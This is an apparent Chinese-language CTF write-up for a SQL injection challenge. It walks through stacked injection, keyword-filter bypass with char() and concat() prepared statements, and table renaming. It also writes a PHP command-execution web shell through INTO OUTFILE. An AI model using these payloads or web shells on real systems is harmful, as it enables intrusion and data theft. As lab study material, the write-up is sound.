1. 程式人生 > 實用技巧 >[強網杯 2019]隨便注 1 【BUUCFT】【SQL注入】

[強網杯 2019]隨便注 1 【BUUCFT】【SQL注入】

參考教程: 簡簡的我

方法一

  1. 判斷是否存在注入,注入是字元型還是數字型

    輸入 1’ 發現不回顯

    輸入1' #顯示正常 [1]

    array(2) {
      [0]=>
      string(1) "1"
      [1]=>
      string(7) "hahahah"
    }
    

    應該是存在sql注入了

    輸入1' or '1'='1,正常回顯,應該是字元型

    array(2) {
      [0]=>
      string(1) "1"
      [1]=>
      string(7) "hahahah"
    }
    
    array(2) {
      [0]=>
      string(1) "2"
      [1]=>
      string(12) "miaomiaomiao"
    }
    
    array(2) {
      [0]=>
      string(6) "114514"
      [1]=>
      string(2) "ys"
    }
    

    後輸入 2 114514 發現均返回了對應的 資料 此處推斷 sql查詢所有條目到的均會返回

  2. 猜解SQL查詢語句中的欄位數

    輸入1' order by 1 # 成功回顯

    1' order by 3 # 回顯失敗

    可知欄位為 2

  3. 顯示欄位

    輸入1′ union select 1,2 # 回顯一個正則過濾規則

    return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
    

    過濾了 select,update,delete,drop,insert,where 和 點

    過濾了這麼多詞,是不是有堆疊注入?嘗試堆疊注入 [2]

  4. 查詢資料庫

    輸入1';show databases;# 成功回顯

    array(2) {
      [0]=>
      string(1) "1"
      [1]=>
      string(7) "hahahah"
    }
    
    array(1) {
      [0]=>
      string(11) "ctftraining"
    }
    
    array(1) {
      [0]=>
      string(18) "information_schema"
    }
    
    array(1) {
      [0]=>
      string(5) "mysql"
    }
    
    array(1) {
      [0]=>
      string(18) "performance_schema"
    }
    
    array(1) {
      [0]=>
      string(9) "supersqli"
    }
    
    array(1) {
      [0]=>
      string(4) "test"
    }
    
    
    

    說明存在堆疊注入

  5. 查詢表

    輸入1';show tables;# 成功回顯

    array(2) {
      [0]=>
      string(1) "1"
      [1]=>
      string(7) "hahahah"
    }
    
    array(1) {
      [0]=>
      string(16) "1919810931114514"
    }
    
    array(1) {
      [0]=>
      string(5) "words"
    }
    
    
    

    可以看到有兩張表 1919810931114514 words

  6. 查詢表中欄位

    坑點:mysql中點引號( ' )和反勾號( ` )的區別

    linux下不區分,windows下區分
    區別:
    單引號( ' )或雙引號主要用於字串的引用符號
    eg:mysql> SELECT 'hello', "hello" ;
    
    反勾號( ` )主要用於資料庫、表、索引、列和別名用的引用符是[Esc下面的鍵]
    eg:`mysql>SELECT * FROM   `table`   WHERE `from` = 'abc' ;
    

    輸入

    1'; show columns from `words`; #
    

    欄位使用的是反勾號( ` )

    array(6) {
      [0]=>
      string(2) "id"
      [1]=>
      string(7) "int(10)"
      [2]=>
      string(2) "NO"
      [3]=>
      string(0) ""
      [4]=>
      NULL
      [5]=>
      string(0) ""
    }
    
    array(6) {
      [0]=>
      string(4) "data"
      [1]=>
      string(11) "varchar(20)"
      [2]=>
      string(2) "NO"
      [3]=>
      string(0) ""
      [4]=>
      NULL
      [5]=>
      string(0) ""
    }
    
    

    輸入

    1'; show columns from `1919810931114514`; #
    

    欄位使用的是反勾號( ` )

    array(6) {
      [0]=>
      string(4) "flag"
      [1]=>
      string(12) "varchar(100)"
      [2]=>
      string(2) "NO"
      [3]=>
      string(0) ""
      [4]=>
      NULL
      [5]=>
      string(0) ""
    }
    

    可以看到1919810931114514中有我們想要的flag欄位

    突破點

    他既然沒過濾 alert 和 rename,那麼我們是不是可以把表改個名字,再給列改個名字呢。
    先把 words 改名為 words1,再把這個數字表改名為 words,然後把新的 words 裡的 flag 列改為 id (避免一開始無法查詢)。

    1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
    

    執行完這個 表的結構就改好了 下一步就是永真查詢 (參考文章中 他這一步寫錯了)

    1' or '1'='1’ #
    
    或者 
    
    1' or '1'='1
    

    返回值

    array(1) {
      [0]=>
      string(42) "flag{bb0b5e1e-d7e6-4ed1-8b53-5a1540d0bff8}"
    }
    

方法二:預處理語句+堆疊注入

預處理語句使用方式:

PREPARE name from '[my sql sequece]';   //預定義SQL語句
EXECUTE name;  //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE name;  //刪除預定義SQL語句

預定義語句也可以通過變數進行傳遞:

SET @tn = 'hahaha';  //儲存表名
SET @sql = concat('select * from ', @tn);  //儲存SQL語句
PREPARE name from @sql;   //預定義SQL語句
EXECUTE name;  //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla;  //刪除預定義SQL語句

本題即可利用char()方法將ASCII碼轉換為SELECT字串,接著利用concat()方法進行拼接獲得查詢的SQL語句,來繞過過濾或者直接使用concat()方法繞過

char()根據ASCII表返回給定整數值的字元值
eg:
mysql> SELECT CHAR(77,121,83,81,'76');
-> 'MySQL'

contact()函式用於將多個字串連線成一個字串
contact (str1,str2,…) 
eg:
mysql> SELECT CONCAT('My', 'S', 'QL');
-> 'MySQL'
char(115,101,108,101,99,116)<----->'select'

payload1:不使用變數

1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#
array(1) {
  [0]=>
  string(42) "flag{52aec6f8-042b-4208-9e4e-7388542b3a88}"
}

payload2:使用變數

1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE jwt from @sql;EXECUTE jwt;#
array(1) {
  [0]=>
  string(42) "flag{52aec6f8-042b-4208-9e4e-7388542b3a88}"
}

payload3:只是用contact(),不使用char()

1';PREPARE jwt from concat('s','elect', ' * from `1919810931114514` ');EXECUTE jwt;#
array(1) {
  [0]=>
  string(42) "flag{52aec6f8-042b-4208-9e4e-7388542b3a88}"
}

方法三 利用命令執行Getflag

1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;

利用char(46)<==>.從而繞過關鍵詞.過濾往 /var/www/html/ 目錄裡面寫入一個 1.php檔案 程式碼就是

<?php @print_r(`$_GET[1]`);?>

Mysql into outfile語句,可以方便匯出表格的資料。同樣也可以生成某些檔案。因此有些人會利用sql注入生成特定程式碼的檔案,然後執行這些檔案。將會造成嚴重的後果。Mysql into outfile 生成PHP檔案

SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E into outfile '/var/www/html/fuck.php'最後會在/var/www/html/路徑下, 生成fuck.php檔案這裡不走尋常路,執行打算利用我們的shell查詢flag(賬號密碼直接讀取首頁就可以看到)

/1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;"

  1. 此處 # 作用是註釋 忽略 # 之後的語句 參考資料 ↩︎

  2. 這句話的邏輯 不是特別清楚 網上搜了很多 但是都是這一道題目的 沒有講具體的邏輯 目前推斷是 能堆疊 防止你亂搞 所以才禁止了這些關鍵詞 否則直接禁止了堆疊注入 就根本不用禁止了 而且此時是聯合注入 ↩︎